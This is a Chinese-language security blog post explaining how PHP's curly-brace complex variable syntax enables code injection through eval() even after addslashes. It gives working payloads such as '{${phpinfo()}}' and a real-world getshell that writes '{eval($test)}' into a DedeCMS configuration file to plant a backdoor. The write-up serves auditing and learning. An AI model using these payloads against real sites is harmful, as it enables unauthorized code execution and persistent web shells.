关于PHP复杂变量

前言:之前二开的dede bc审出了一个前台注入,幸运是白名单IP绕过,然后接着就是来到了后台getshell了

参考文章:http://php.net/manual/zh/language.types.string.php

示例题

<?php
highlight_file(__FILE__);
$str = $_GET['str'];
eval('$a="' . $str . '";');
?>

如果想实现代码执行就需要进行闭合,如:";phpinfo();//

此时var_dump的$a变量是为空的,如下:

继续看:

<?php
highlight_file(__FILE__);
$str = $_GET['str'];
$str = addslashes($str);
eval('$a="' . $str . '";');
?>

这种上面的payload就不行了,因为addslashes的原因导致了无法闭合,那么直接试试phpinfo()呢? 发现一片空白,那么也就是没有成功的执行命令,那么打印下$a,可以发现phpinfo()并没有跟上面一样被解析

那么这时候需要用到PHP的复杂变量了!

利用${}

payload:{${phpinfo()}},发现如下成功解析

此时打印$a,发现是为空的,那么也就是phpinfo成功进行解析了

简单语法

当 PHP 解析器遇到一个美元符号($)时,它会和其它很多解析器一样,去组合尽量多的标识以形成一个合法的变量名。可以用花括号来明确变量名的界线

这句话应该很好理解,先说单引号中的字符串是死的,而双引号中的字符串是活的,比如"$a",这时候如果出现$符号,PHP解析器就会去寻找对应的$a变量是否存在并且覆盖,同样也可以是{$a},为什么需要用这个?比如{$a}a,这时候{}的作用就出来了,可以理解为它会提醒PHP解析我只解析$a,而不是$aa,它起到一个分界的作用!

复杂(花括号)语法

任何具有 string 表达的标量变量,数组单元或对象属性都可使用此语法。只需简单地像在 string 以外的地方那样写出表达式,然后用花括号 { 和 } 把它括起来即可。由于 { 无法被转义,只有 $ 紧挨着 { 时才会被识别

这里的$符号就是硬性要求了,如果你想要使用复杂变量就得用$符号!

回到上面,为啥输入${phpinfo()}不行,而输入{${phpinfo()}},才可以呢?或许就是下面这种情况吧!

其实官方手册中也提到了当调用方法的时候需要用{}来进行包裹

注意:函数、方法、静态类变量和类常量可使用 {$} ,在该字符串被定义的命名空间中将其值作为变量名来访问。只单一使用花括号 ({}) 无法处理从函数或方法的返回值或者类常量以及类静态变量的值。

实战

快速Getshell的方式就是直接写配置文件了,正常来说gpc开启,数组格式下的写配置文件基本无解,但是自己这次确实是挺幸运的,配置文件的格式是 $变量 = '' 这种形式的!

自己所处的审计环境,目标配置文件的格式为下面两个点:

1、$变量 = ''

2、主键为变量,值为变量值

比如如下:

edit___a=1&edit___b=1&edit___c=1&edit___d=1&edit___e=1&edit___f=1

则生成的配置文件为:

<?php
$a = '1';
$b = '1';
$c = '1';
$d = '1';
$e = '1';
$f = '1';
?>

这里直接利用PHP的复杂变量来进行getshell:

payload:edit___{eval($test)}=1&edit___b=1&edit___c=1&edit___d=1&edit___e=1&edit___f=1

自己解决的办法是直接通过dede本身的变量注册的机制来进行绕过的!

posted @ 2020-08-31 18:02  zpchcbd  阅读(349)  评论(0编辑  收藏  举报